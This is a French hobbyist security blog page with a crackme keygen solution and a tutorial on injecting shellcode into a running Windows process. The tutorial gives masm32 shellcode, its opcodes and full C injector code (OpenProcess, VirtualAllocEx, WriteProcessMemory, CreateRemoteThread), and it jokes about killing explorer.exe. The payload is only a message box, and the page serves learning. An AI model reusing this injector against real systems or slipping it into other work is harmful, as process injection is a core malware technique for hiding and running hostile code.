mercredi 12 août 2009

KeygenMe - Solution

En dix jours, vous étiez très peu à avoir tenté de réaliser un keygen pour ce challenge : http://geo0w.blogspot.com/2009/08/challenge-keygenme.html. Et il n'y a eu qu'une personne pour avoir proposé une solution. Un grand bravo à Baboon. Quant à 0vercl0k, il n'était pas loin de la solution non plus.

Voici le lien du keygen de Baboon (avec beaucoup d'humour) : http://venom630.free.fr/geo/blog/keygenme/keygen_baboon.rar.

De plus, l'explication de Baboon est tellement claire que je préfère vous la diffuser :
Je suis content que mon keygen t'ai plu ;)

pour la génération de la clef je me base sur la clef intermédiaire qui permet le calcul du "hash" de fin mais aussi les caractères du serial en effet on a :

(pour simplifier quand j'écrit serial, ca correspond en fait à l'indice de correspondance de la lettre du serial dans le tableau "246789BCDEFGHJKMNPRTVWXZ")

nibbles[i] = (serial[i] * 24 + serial[i+1]) >> 4
et
nibbles[i+1] = (serial[i] * 24 + serial[i+1]) & 0xFF

de plus le bit n° i/2 de la var globale 00404010 est set si on a serial[i] * 24 + serial[i+1] > 0xFF

donc pour générer un serial il suffit de :
génèrer 16 nibbles (int <= 0xF) de faire le hash de ces nibbles & 0xFF => on obtient le résultat que doit valoir la var globale en 0x404010

ensuite pour générer les chars du sérial il suffit de faire :
a = nibbles[i] << 4 | nibbles[i+1]

serial[i] = a / 24 si le bit i/2 n'est pas set dans le hash sinon a + 0x100 / 24
et
serial[i+1] = a % 24 si le bit i/2 n'est pas set dans le hash sinon a + 0x100 % 24

comme ca on a bien l'égalité
nibbles[i] = serial[i] * 24 + serial[i+1] >> 4
et
nibbles[i+1] = serial[i] * 24 + serial[i+1] & 0xFF
et le bit est bien set quand il faut

voila voila, je ne sais pas si c'est clair ;)


Pour ma part, je me contentais de faire un brute-forcing sur les 4 derniers digits du keygen jusqu'à générer une clef valide - les premiers étant générés aléatoirement. Baboon nous a donc tous mis au tapis.

Désolé pour ceux qui n'ont pas eu le temps de résoudre l'épreuve. Elle est toujours disponible ici : http://venom630.free.fr/geo/blog/keygenme/keygenme.exe.

A+

Geo

Injection de shellcode dans un processus cible

En lisant un vieux billet d'0vercl0k, je me suis dit que je pourrais moi-même tenter de faire un truc que je n'ai jamais fait : injecter un shellcode dans un processus cible. J'entends par processus cible un processus déjà existant, comme explorer (qui tourne - logiquement - toujours lorsqu'une session windows est activée) ou notepad.

On va essayer d'étudier tout ça pas à pas. D'abord, on va concevoir un shellcode qui fera appel à la fonction MessageBox(), puis, après l'avoir convenablement testé, on l'injectera dans un processus au choix.

Ce shellcode sera injecté dans un "thread" nouvellement créé dans le processus ciblé. On aura donc notre shellcode qui s'exécutera en parallèle avec les autres instructions "normales" du processus.

/!\ Je vais sauter pas mal de concepts dans cet article. Effectivement, je ne parlerai pas de "comment trouver l'adresse d'une fonction dans une DLL" et j'en passe. Cependant, je fournirai tous les outils nécessaires + résumés des codes sources à la fin de l'article.

I] Le shellcode


La structure du shellcode se divise en trois étape :


Voici ce que j'ai pondu sous masm32 :
.386
.model flat, stdcall
option casemap: none

.code
start: jmp DllUser32
suite: mov edx, [esp]
mov [edx+10], al
mov edi, 7c801d77h ; adresse de LoadLibraryA
call edi
xor eax, eax
push eax
jmp TitreMsgBox
suite2: mov edx, [esp]
xor eax, eax
mov [edx+11], al
jmp MsgMsgBox
suite3: mov edx, [esp]
xor eax, eax
mov [edx+14], al
push eax
mov edi, 77d5050bh ; adresse de MessageBoxA
call edi
xor eax, eax
push eax
mov edi, 7c81cdeah ; adresse de ExitProcess
call edi

DllUser32: call suite
DllName db "user32.dll",255

TitreMsgBox: call suite2
Titre db "Successful!",255
MsgMsgBox: call suite3
Message db "Code injecté !",255
end start


J'utilise la fameuse ruse du call pour empiler les chaînes de caractères correspondants aux arguments de la fonction à appeler.

La fonction MessageBox(), comme le décrit la MSDN, comprend 4 arguments. Le premier et le dernier ne nous intéressent pas particulièrement ; on se contentera juste de donner un titre et un texte à la boîte de message.

Bref, on traduit la source assembleur en opcodes et on a :
\xEB\x36\x8B\x14\x24\x88\x42\x0A\xBF\x77\x1D\x80\x7C\xFF\xD7
\x33\xC0\x50\xEB\x34\x8B\x14\x24\x33\xC0\x88\x42\x0B\xEB\x3B\x8B\x14\x24\x33\xC0
\x88\x42\x0E\x50\xBF\x0B\x05\xD5\x77\xFF\xD7\x33\xC0\x50\xBF\xEA\xCD\x81\x7C\xFF
\xD7\xE8\xC5\xFF\xFF\xFF\x75\x73\x65\x72\x33\x32\x2E\x64\x6C\x6C\xFF\xE8\xC7\xFF
\xFF\xFF\x53\x75\x63\x63\x65\x73\x73\x66\x75\x6C\x21\xFF\xE8\xC0\xFF\xFF\xFF\x43
\x6F\x64\x65\x20\x69\x6E\x6A\x65\x63\x74\xE9\x20\x21\xFF


II] Le processus


La partie que je maîtrise le moins, puisque je la découvre. On va devoir faire un "exploit" (si je puis me permettre d'utiliser un tel terme) qui va ouvrir le processus courant via OpenProcess() (http://msdn.microsoft.com/en-us/library/ms684320(VS.85).aspx). Ensuite, il va falloir réserver de la mémoire dans le processus courant. Comme un malloc(), si vous voulez. La taille de la mémoire sera égale à la taille de notre shellcode. On fera ça avec la fonction VirtualAllocEx() (http://msdn2.microsoft.com/en-us/library/aa366890.aspx).
Dans cette mémoire allouée dynamiquement, on y écrira notre shellcode. L'API Win32 nous fournit une fonction qui le permet : WriteProcessMemory() http://msdn.microsoft.com/en-us/library/ms681674(VS.85).aspx).
Ensuite, on créé un Thread qui va exécuter la fonction qui correspond à notre shellcode : CreateRemoteThread() (http://msdn2.microsoft.com/en-us/library/ms682437.aspx).

On aura aussi besoin d'autres fonctions pour libérer la mémoire et cie.

Concernant les processus, ils sont identifiés par ce qu'on appelle les "PID" (process identifier). Effectivement, il se peut qu'il y ait, sur une machine, deux instances notepad qui sont en route. Les processus ont le même nom, mais pas le même PID.

Il faudra donc se servir d'une fonction qui retournera le PID du processus en fonction de son nom. Pour cela, on fera une boucle qui parcourra nos processus jusqu'à ce que le nom soit exact.

Voici le code d'0vercl0k que j'ai un peu retapé, avec mon shellcode :
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>

long ProcessNameToPid(char* process);
int InjectShellcodeIntoProcess(DWORD PidProcess);

int main(int argc ,char** argv)
{
if(argc < 2) {
printf("Utilisation : %s \n", argv[0]);
exit(-1);
}
if(InjectShellcodeIntoProcess( ProcessNameToPid(argv[1]) ) ) {
printf("Injection reussie !\n");
} else {
printf("Injection echouee... Peut-etre que le processus n'existe pas ?\n");
}
return 0;
}

long ProcessNameToPid(char* process)
{
// snapshot qui servira à "photographier" les processus,
// recueillir leurs informations, quoi.
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
PROCESSENTRY32 structprocsnapshot = {0};

// On initialise dwSize, sans quoi on ne pourra lister aucun processus
structprocsnapshot.dwSize = sizeof(PROCESSENTRY32);

if(snapshot == INVALID_HANDLE_VALUE) return 0;
// Process32First trouve le premier processus
if(Process32First(snapshot,&structprocsnapshot) == FALSE) return 0;

// Tant qu'il y a des processus à lister
while(Process32Next(snapshot,&structprocsnapshot) )
{
// On a trouvé notre processus ? On retourne son PID
if(!strcmp(structprocsnapshot.szExeFile,process))
{
CloseHandle(snapshot);
return structprocsnapshot.th32ProcessID;
}
}
CloseHandle(snapshot);
return 0;
}

int InjectShellcodeIntoProcess(DWORD PidProcess)
{
char sh[] =
"\xEB\x36\x8B\x14\x24\x88\x42\x0A\xBF"
"\x77\x1D\x80\x7C\xFF\xD7\x33\xC0\x50"
"\xEB\x34\x8B\x14\x24\x33\xC0\x88\x42"
"\x0B\xEB\x3B\x8B\x14\x24\x33\xC0\x88"
"\x42\x0E\x50\xBF\x0B\x05\xD5\x77\xFF"
"\xD7\x33\xC0\x50\xBF\xEA\xCD\x81\x7C"
"\xFF\xD7\xE8\xC5\xFF\xFF\xFF\x75\x73"
"\x65\x72\x33\x32\x2E\x64\x6C\x6C\xFF"
"\xE8\xC7\xFF\xFF\xFF\x53\x75\x63\x63"
"\x65\x73\x73\x66\x75\x6C\x21\xFF\xE8"
"\xC0\xFF\xFF\xFF\x43\x6F\x64\x65\x20"
"\x69\x6E\x6A\x65\x63\x74\xE9\x20\x21\xFF";

long tailleStringSh = strlen(sh);

// On ouvre le processus via OpenProcess
HANDLE handleProcess = OpenProcess(PROCESS_ALL_ACCESS , FALSE , PidProcess);
// Le processus n'existe pas ? On retourne 0
if(handleProcess == NULL)return 0;

// Reservation et écriture dans la mémoire du processus via VirtualAllocEx
LPVOID addrEspaceReserve = VirtualAllocEx( handleProcess , NULL , tailleStringSh , MEM_COMMIT , PAGE_EXECUTE_READWRITE);
// Erreur ? On retourne 0
if(addrEspaceReserve == NULL)
return 0;

// VirtualAllocEx a retourné un pointeur sur notre zone. On s'en sert
// pour y écrire dedans via WriteProcessMemory
int retourFonctionWrite = WriteProcessMemory( handleProcess , addrEspaceReserve , sh , tailleStringSh , 0);
// Erreur ? On retourne 0
if(retourFonctionWrite == 0)
return 0;

// On créé le thread
DWORD identificateurThread ;
HANDLE retourFonctionCreate = CreateRemoteThread( handleProcess , NULL , 0 , (LPTHREAD_START_ROUTINE)addrEspaceReserve , NULL , 0 , &identificateurThread ); // CreateRemoteThread() -> http://msdn2.microsoft.com/en-us/library/ms682437.aspx.
if(retourFonctionCreate == NULL)
return 0;

// Boucle qui va attendre qu'il y ait des interactions entre le processus
// et l'environnement
WaitForSingleObject(retourFonctionCreate,INFINITE);

// On libère la mémoire allouée
VirtualFreeEx( handleProcess , addrEspaceReserve , 0 , MEM_DECOMMIT);

// On ferme nos handles
CloseHandle(handleProcess);
CloseHandle(retourFonctionCreate);
return 1;
}


Le code propre est disponible ici : http://venom630.free.fr/geo/blog/injshproc/injectcodeintoprocess.html

A noter que si vous cliquez sur "OK" de la boîte de message, vous provoquez un ExitProcess(). Donc le processus se ferme. Essayez sur explorer.exe, ça peut-être marrant.

Conclusion


Vous êtes - normalement - capable d'injecter du code dans un processus lointain. Pour bien tout comprendre, la MSDN est à consulter, et le vocabulaire est à comprendre (threads, snapshots, ... ...).

Vous pourrez trouver tous les outils/sources qui se réfèrent à l'article ici : http://venom630.free.fr/geo/?path=blog/injshproc.

Merci à 0vercl0k pour m'avoir permis de faire cet article.

Geo